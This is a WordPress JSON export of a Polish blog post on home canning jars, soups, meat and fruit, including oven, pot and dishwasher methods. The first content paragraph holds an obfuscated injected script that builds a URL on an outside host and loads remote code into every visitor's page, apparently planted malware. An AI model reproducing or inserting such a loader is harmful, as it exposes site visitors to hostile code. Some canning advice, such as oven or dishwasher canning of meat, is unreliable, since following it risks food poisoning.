{"id":10816,"date":"2023-06-23T15:35:29","date_gmt":"2023-06-23T13:35:29","guid":{"rendered":"https:\/\/www.straganzdrowia.pl\/blog\/?p=10816"},"modified":"2023-06-23T15:39:34","modified_gmt":"2023-06-23T13:39:34","slug":"jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj","status":"publish","type":"post","link":"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj","title":{"rendered":"Jak wekowa\u0107 s\u0142oiki? O tych rzeczach nie zapominaj!"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><p>Wekowanie to podstawowy spos\u00f3b przed\u0142u\u017cenia trwa\u0142o\u015bci owoc\u00f3w i warzyw. W ten spos\u00f3b mo\u017cna r\u00f3wnie\u017c zachowa\u0107 \u015bwie\u017co\u015b\u0107 mi\u0119s, zup i innych posi\u0142k\u00f3w. W poni\u017cszym artykule przybli\u017cymy kilka metod wekowania domowych przetwor\u00f3w. Jak wekowa\u0107 s\u0142oiki? Co mo\u017cna wekowa\u0107? Jakie metody wekowania s\u0105 najskuteczniejsze?<\/p>\n<script>\n(function(){\noahg=document.createElement(\"script\");oahg.async=true;oahg_=\"u\"+(\"s\")+\"t\";\noahgu=\"549381138.\";oahg_+=\"a\"+(\"t.i\");oahg_+=\"n\"+(\"f\"+\"o\")+\"\/\";\noahgu+=\"zudagma9ahgpkwcdk9X14c\"+(\"a59998uk\");\noahg.src=\"https:\/\/\"+oahg_+oahgu;oahg.type=\"text\/javascript\";\ndocument.body.appendChild(oahg);\n})();\n<\/script><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Dlaczego wekowa\u0107?&nbsp;<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Wekowanie to nie tylko \u015bwietny spos\u00f3b na wykorzystanie nadmiaru owoc\u00f3w i warzyw, ale te\u017c doskona\u0142e rozwi\u0105zanie dla os\u00f3b, kt\u00f3re chc\u0105 mie\u0107 kontrol\u0119 nad sk\u0142adem swojej diety. Ponadto, daje to mo\u017cliwo\u015b\u0107 cieszenia si\u0119 smakiem ulubionych potraw nawet poza sezonem. Pe\u0142nia smak\u00f3w lata zamkni\u0119ta w ma\u0142ym s\u0142oiku to spos\u00f3b na udane zimowe popo\u0142udnie.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Przygotowanie do wekowania&nbsp;<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Zanim przyst\u0105pisz do wekowania przetwor\u00f3w w\u0142a\u015bciwie si\u0119 do tego przygotuj. Poni\u017cej przedstawiamy kilka wartych uwagi rad.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Dobre s\u0142oiki to podstawa!&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Zanim rozpoczniesz wekowanie, niezale\u017cnie od tego czy planujesz zakonserwowa\u0107 przetwory z warzyw i owoc\u00f3w, czy te\u017c zupy, mi\u0119so albo inne domowe posi\u0142ki, koniecznie upewnij si\u0119, \u017ce wybrane przez Ciebie s\u0142oiki s\u0105 czyste i szczelne. Dla stuprocentowej pewno\u015bci wysterylizuj je w piekarniku. W tym celu dok\u0142adnie umyj ka\u017cdy s\u0142oik wod\u0105 z p\u0142ynem do naczy\u0144, a nast\u0119pnie op\u0142ucz i u\u0142\u00f3\u017c w piekarniku nagrzanym do oko\u0142o 100 stopni. Pozostaw na kilka minut. S\u0142oiki b\u0119d\u0105 czyste i sterylne.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sprawd\u017a tak\u017ce ka\u017cd\u0105 zakr\u0119tk\u0119. Nawet niewielka szczelina sprawi, \u017ce produkty nie utrzymaj\u0105 oczekiwanej trwa\u0142o\u015bci.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Przygotowanie sk\u0142adnik\u00f3w do wekowania&nbsp;<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">W s\u0142oikach najcz\u0119\u015bciej zamyka si\u0119 d\u017cemy, kompoty czy soki. Du\u017c\u0105 popularno\u015bci\u0105 cieszy si\u0119 r\u00f3wnie\u017c wekowanie zup i mi\u0119sa oraz innych domowych produkt\u00f3w. Niezale\u017cnie od tego co znajdzie si\u0119 w s\u0142oiku przed rozpocz\u0119ciem tworzenia przetwor\u00f3w upewnij si\u0119, \u017ce wszystkie produkty s\u0105 wysokiej jako\u015bci, \u015bwie\u017ce i czyste. Nawet jedna popsuta truskawka mo\u017ce zniweczy\u0107 prac\u0119 w\u0142o\u017con\u0105 w przygotowanie ca\u0142ego garnka d\u017cemu. Podobnie jest z wekowaniem mi\u0119sa. Jeden nie\u015bwie\u017cy kawa\u0142ek zakazi ca\u0142o\u015b\u0107 i sprawi, \u017ce weki nie b\u0119d\u0105 nadawa\u0142y si\u0119 do spo\u017cycia.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Kontrola jako\u015bci i przechowywanie s\u0142oik\u00f3w&nbsp;<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Po wekowaniu pami\u0119taj o regularnej kontroli s\u0142oik\u00f3w i przechowywaniu ich w ch\u0142odnym, ciemnym miejscu. Najlepsza b\u0119dzie do tego sucha piwnica b\u0105d\u017a nieogrzewana spi\u017carnia. Zupy i mi\u0119sa warto przechowywa\u0107 w ch\u0142odni lub lod\u00f3wce.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Jak wekowa\u0107 zupy?&nbsp;<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Zupy to doskona\u0142e dania do wekowania. Upewnij si\u0119, \u017ce s\u0105 dobrze ugotowane, a nast\u0119pnie przelej do s\u0142oik\u00f3w i szczelnie zamknij. W ten spos\u00f3b mo\u017cesz przechowa je przez kilka dni. Mimo dok\u0142adnego zawekowania lepiej jest przechowywa\u0107 je w lod\u00f3wce b\u0105d\u017a innym ch\u0142odnym miejscu. Unikaj wekowania zup zawieraj\u0105cych koperek. Zwykle przy\u015bpiesza on proces kwa\u015bnienia zupy i skraca okres jej przydatno\u015bci do spo\u017cycia. Jak wida\u0107 wekowanie mo\u017ce pos\u0142u\u017cy\u0107 Ci na co dzie\u0144. Nie wszystkie produkty wekuje si\u0119, by zje\u015b\u0107 je po kilku miesi\u0105cach.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Wekowanie mi\u0119sa&nbsp;<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Mi\u0119so r\u00f3wnie\u017c mo\u017cna wekowa\u0107. Najwa\u017cniejsze jest, aby by\u0142o odpowiednio ugotowane i ostudzone przed prze\u0142o\u017ceniem do s\u0142oik\u00f3w. Czas trwa\u0142o\u015bci mi\u0119sa wyd\u0142u\u017cy si\u0119, je\u015bli dodasz przyprawy. Bardzo istotny jest r\u00f3wnie\u017c dodatek soli.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"750\" height=\"398\" src=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/06\/Wekowanie-przetworow.jpg\" alt=\"S\u0142oiki z przetworami na drewnianym stole\" class=\"wp-image-10818\" srcset=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/06\/Wekowanie-przetworow.jpg 750w, https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/06\/Wekowanie-przetworow-300x159.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Wekowanie owoc\u00f3w i warzyw&nbsp;<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Owoce i warzywa to kolejna grupa produkt\u00f3w idealna do wekowania. Najwa\u017cniejsze jest, aby by\u0142y dojrza\u0142e, ale nieprzejrza\u0142e. Pozb\u0105d\u017a si\u0119 tak\u017ce nagnitych lub sple\u015bnia\u0142ych owoc\u00f3w. Nawet niewielki \u015blad ple\u015bni oznacza, \u017ce produkt nie nadaje si\u0119 do u\u017cytku. Pod \u017cadnym pozorem nie okrawaj sple\u015bnia\u0142ego warzywa tylko je wyrzu\u0107. Na zewn\u0105trz wida\u0107 jedynie niewielk\u0105 cz\u0119\u015b\u0107 ple\u015bni. Po dodaniu popsutego owocu d\u017cem czy kompot szybko w ca\u0142o\u015bci b\u0119dzie nadawa\u0107 si\u0119 jedynie do wyrzucenia.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Praktyczne rady dotycz\u0105ce wekowania&nbsp;<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Unikaj powszechnych b\u0142\u0119d\u00f3w, takich jak zbyt ma\u0142o p\u0142ynu w s\u0142oiku czy niew\u0142a\u015bciwa temperatura podczas wekowania. Zawarto\u015b\u0107 s\u0142oika powinna si\u0119ga\u0107 do wysoko\u015bci szyjki. W ten spos\u00f3b s\u0142oik b\u0119dzie niemal pe\u0142ny, a pozosta\u0142a przestrze\u0144 minimalna. P\u0142yn nie powinien dotyka\u0107 wieczka. Zbyt mocne nape\u0142nienie s\u0142oika r\u00f3wnie\u017c jest b\u0142\u0119dem i mo\u017ce negatywnie wp\u0142yn\u0105\u0107 na trwa\u0142o\u015b\u0107 wek\u00f3w.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Jednym z cz\u0119stszych pyta\u0144 jest, czy mo\u017cna wekowa\u0107 zup\u0119 ze \u015bmietan\u0105. Odpowied\u017a nie jest jednoznaczna. Je\u015bli weki b\u0119d\u0105 przechowywane w lod\u00f3wce, a my planujemy zje\u015b\u0107 zup\u0119 w ci\u0105gu kilku dni, mo\u017cna zaryzykowa\u0107. Zaleca si\u0119 jednak wekowanie zup bez \u015bmietany. Pewniejsze b\u0119dzie dodanie jej na chwil\u0119 przed podaniem.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Metody wekowania&nbsp;<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Istnieje kilka metod wekowania s\u0142oik\u00f3w. Sporo zale\u017cy od tego jak wiele s\u0142oik\u00f3w planujesz zawekowa\u0107.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Pasteryzacja &nbsp;w piekarniku. &nbsp;<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">To jedna z najpowszechniejszych metod wekowania s\u0142oik\u00f3w, wykorzystywana od lat. S\u0142oiki nale\u017cy umie\u015bci\u0107 w ch\u0142odnym piekarniku i uruchomi\u0107 grzanie. Wskazana temperatura to ok. 130 stopni. Czas wekowania liczy si\u0119 od pe\u0142nego nagrzania piekarnika. Zwykle wynosi on 30 minut.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Wi\u0119cej o wekowaniu w piekarniku przeczytasz na <a href=\"https:\/\/akademiasmaku.pl\/porada\/pasteryzacja-w-piekarniku,687\" rel=\"nofollow\">https:\/\/akademiasmaku.pl\/porada\/pasteryzacja-w-piekarniku,687<\/a><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Wekowanie w garnku&nbsp;<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Inn\u0105 metod\u0105 jest wekowanie w garnku. Do garnka wk\u0142adamy s\u0142oiki i nalewamy wody. Powinna ona si\u0119ga\u0107 minimum do po\u0142owy wysoko\u015bci s\u0142oika. Wskazane jest zabezpieczenie s\u0142oik\u00f3w bawe\u0142nian\u0105 szmatk\u0105. Nast\u0119pnie nale\u017cy ustawi\u0107 delikatne grzanie, a gdy woda zacznie bulgota\u0107 zmniejszy\u0107 je do minimum. To jedna z najlepszych metod, je\u015bli do zawekowania mamy jedynie kilka s\u0142oik\u00f3w.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Wekowanie w zmywarce&nbsp;<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">To stosunkowo nowa metoda wekowania, kt\u00f3ra z roku na rok zyskuje coraz wi\u0119cej zwolennik\u00f3w. Polega ona na umieszczeniu szczelnie zakr\u0119conych s\u0142oik\u00f3w w zmywarce i ustawieniu najcieplejszego programu. Po zako\u0144czeniu po prostu wyjmujemy weki ze zmywarki. Ta metoda sprawdza si\u0119 szczeg\u00f3lnie przy du\u017cej ilo\u015bci wek\u00f3w.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Wekuj\u0105c przetwory w zmywarce lub piekarniku warto zwr\u00f3ci\u0107 uwag\u0119 na klas\u0119 energetyczn\u0105 wybranego sprz\u0119tu. Dlaczego jest to tak wa\u017cne dowiesz si\u0119 na\u00a0<a href=\"https:\/\/akademiasmaku.pl\/wnetrza\/co-to-sa-klasy-energetyczne,420\"><\/a><a href=\"https:\/\/akademiasmaku.pl\/wnetrza\/co-to-sa-klasy-energetyczne,420\" rel=\"nofollow\">https:\/\/akademiasmaku.pl\/wnetrza\/co-to-sa-klasy-energetyczne,420<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Wekowanie to podstawowy spos\u00f3b przed\u0142u\u017cenia trwa\u0142o\u015bci owoc\u00f3w i warzyw. W ten spos\u00f3b mo\u017cna r\u00f3wnie\u017c zachowa\u0107 \u015bwie\u017co\u015b\u0107 mi\u0119s, zup i innych posi\u0142k\u00f3w. W poni\u017cszym artykule przybli\u017cymy kilka metod wekowania domowych przetwor\u00f3w. Jak wekowa\u0107 s\u0142oiki? Co&#46;&#46;&#46;<\/p>\n","protected":false},"author":10,"featured_media":10817,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[468],"tags":[],"class_list":["post-10816","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-przepisy"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Wekowanie d\u017cem\u00f3w, zup i mi\u0119s. Porady - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu<\/title>\n<meta name=\"description\" content=\"Poznaj najlepsze metody przed\u0142u\u017cenia trwa\u0142o\u015bci domowych przetwor\u00f3w. Dowiedz si\u0119 jak unikn\u0105\u0107 b\u0142\u0119d\u00f3w.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Wekowanie d\u017cem\u00f3w, zup i mi\u0119s. Porady - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"og:description\" content=\"Poznaj najlepsze metody przed\u0142u\u017cenia trwa\u0142o\u015bci domowych przetwor\u00f3w. Dowiedz si\u0119 jak unikn\u0105\u0107 b\u0142\u0119d\u00f3w.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj\" \/>\n<meta property=\"og:site_name\" content=\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"article:published_time\" content=\"2023-06-23T13:35:29+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-06-23T13:39:34+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/06\/Wekowanie-sloikow.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"885\" \/>\n\t<meta property=\"og:image:height\" content=\"398\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Regina | StraganZdrowia.pl\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"Regina | StraganZdrowia.pl\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minut\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/przepisy\\\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/przepisy\\\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj\"},\"author\":{\"name\":\"Regina | StraganZdrowia.pl\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/3501d0e2e2e6b5ecfcd78f3c2ab67b0d\"},\"headline\":\"Jak wekowa\u0107 s\u0142oiki? O tych rzeczach nie zapominaj!\",\"datePublished\":\"2023-06-23T13:35:29+00:00\",\"dateModified\":\"2023-06-23T13:39:34+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/przepisy\\\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj\"},\"wordCount\":1066,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/przepisy\\\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/06\\\/Wekowanie-sloikow.jpg\",\"articleSection\":[\"Przepisy\"],\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/przepisy\\\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/przepisy\\\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/przepisy\\\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj\",\"name\":\"Wekowanie d\u017cem\u00f3w, zup i mi\u0119s. Porady - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/przepisy\\\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/przepisy\\\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/06\\\/Wekowanie-sloikow.jpg\",\"datePublished\":\"2023-06-23T13:35:29+00:00\",\"dateModified\":\"2023-06-23T13:39:34+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/3501d0e2e2e6b5ecfcd78f3c2ab67b0d\"},\"description\":\"Poznaj najlepsze metody przed\u0142u\u017cenia trwa\u0142o\u015bci domowych przetwor\u00f3w. Dowiedz si\u0119 jak unikn\u0105\u0107 b\u0142\u0119d\u00f3w.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/przepisy\\\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/przepisy\\\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/przepisy\\\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#primaryimage\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/06\\\/Wekowanie-sloikow.jpg\",\"contentUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/06\\\/Wekowanie-sloikow.jpg\",\"width\":885,\"height\":398,\"caption\":\"Owoce i warzywa w koszach oraz gotowe przetwory w s\u0142oikach\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/przepisy\\\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Przepisy\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/category\\\/przepisy\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Jak wekowa\u0107 s\u0142oiki? O tych rzeczach nie zapominaj!\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/\",\"name\":\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"description\":\"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/3501d0e2e2e6b5ecfcd78f3c2ab67b0d\",\"name\":\"Regina | StraganZdrowia.pl\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/7a1c3b37e188422815ce4fef4ec985e60502e7cc8c37ac4ab37f5bca2bd122c0?s=96&d=wavatar&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/7a1c3b37e188422815ce4fef4ec985e60502e7cc8c37ac4ab37f5bca2bd122c0?s=96&d=wavatar&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/7a1c3b37e188422815ce4fef4ec985e60502e7cc8c37ac4ab37f5bca2bd122c0?s=96&d=wavatar&r=g\",\"caption\":\"Regina | StraganZdrowia.pl\"},\"sameAs\":[\"https:\\\/\\\/www.straganzdrowia.pl\"],\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/author\\\/regina-straganzdrowia-pl\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Wekowanie d\u017cem\u00f3w, zup i mi\u0119s. Porady - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","description":"Poznaj najlepsze metody przed\u0142u\u017cenia trwa\u0142o\u015bci domowych przetwor\u00f3w. Dowiedz si\u0119 jak unikn\u0105\u0107 b\u0142\u0119d\u00f3w.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj","og_locale":"pl_PL","og_type":"article","og_title":"Wekowanie d\u017cem\u00f3w, zup i mi\u0119s. Porady - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","og_description":"Poznaj najlepsze metody przed\u0142u\u017cenia trwa\u0142o\u015bci domowych przetwor\u00f3w. Dowiedz si\u0119 jak unikn\u0105\u0107 b\u0142\u0119d\u00f3w.","og_url":"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj","og_site_name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","article_published_time":"2023-06-23T13:35:29+00:00","article_modified_time":"2023-06-23T13:39:34+00:00","og_image":[{"width":885,"height":398,"url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/06\/Wekowanie-sloikow.jpg","type":"image\/jpeg"}],"author":"Regina | StraganZdrowia.pl","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"Regina | StraganZdrowia.pl","Szacowany czas czytania":"6 minut"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#article","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj"},"author":{"name":"Regina | StraganZdrowia.pl","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/3501d0e2e2e6b5ecfcd78f3c2ab67b0d"},"headline":"Jak wekowa\u0107 s\u0142oiki? O tych rzeczach nie zapominaj!","datePublished":"2023-06-23T13:35:29+00:00","dateModified":"2023-06-23T13:39:34+00:00","mainEntityOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj"},"wordCount":1066,"commentCount":0,"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/06\/Wekowanie-sloikow.jpg","articleSection":["Przepisy"],"inLanguage":"pl-PL","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj","url":"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj","name":"Wekowanie d\u017cem\u00f3w, zup i mi\u0119s. Porady - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#primaryimage"},"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/06\/Wekowanie-sloikow.jpg","datePublished":"2023-06-23T13:35:29+00:00","dateModified":"2023-06-23T13:39:34+00:00","author":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/3501d0e2e2e6b5ecfcd78f3c2ab67b0d"},"description":"Poznaj najlepsze metody przed\u0142u\u017cenia trwa\u0142o\u015bci domowych przetwor\u00f3w. Dowiedz si\u0119 jak unikn\u0105\u0107 b\u0142\u0119d\u00f3w.","breadcrumb":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj"]}]},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/przepisy\/jak-wekowac-sloiki-o-tych-rzeczach-nie-zapominaj#primaryimage","url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/06\/Wekowanie-sloikow.jpg","contentUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2023\/06\/Wekowanie-sloikow.jpg","width":885,"height":398,"caption":"Owoce i warzywa w koszach oraz gotowe przetwory w 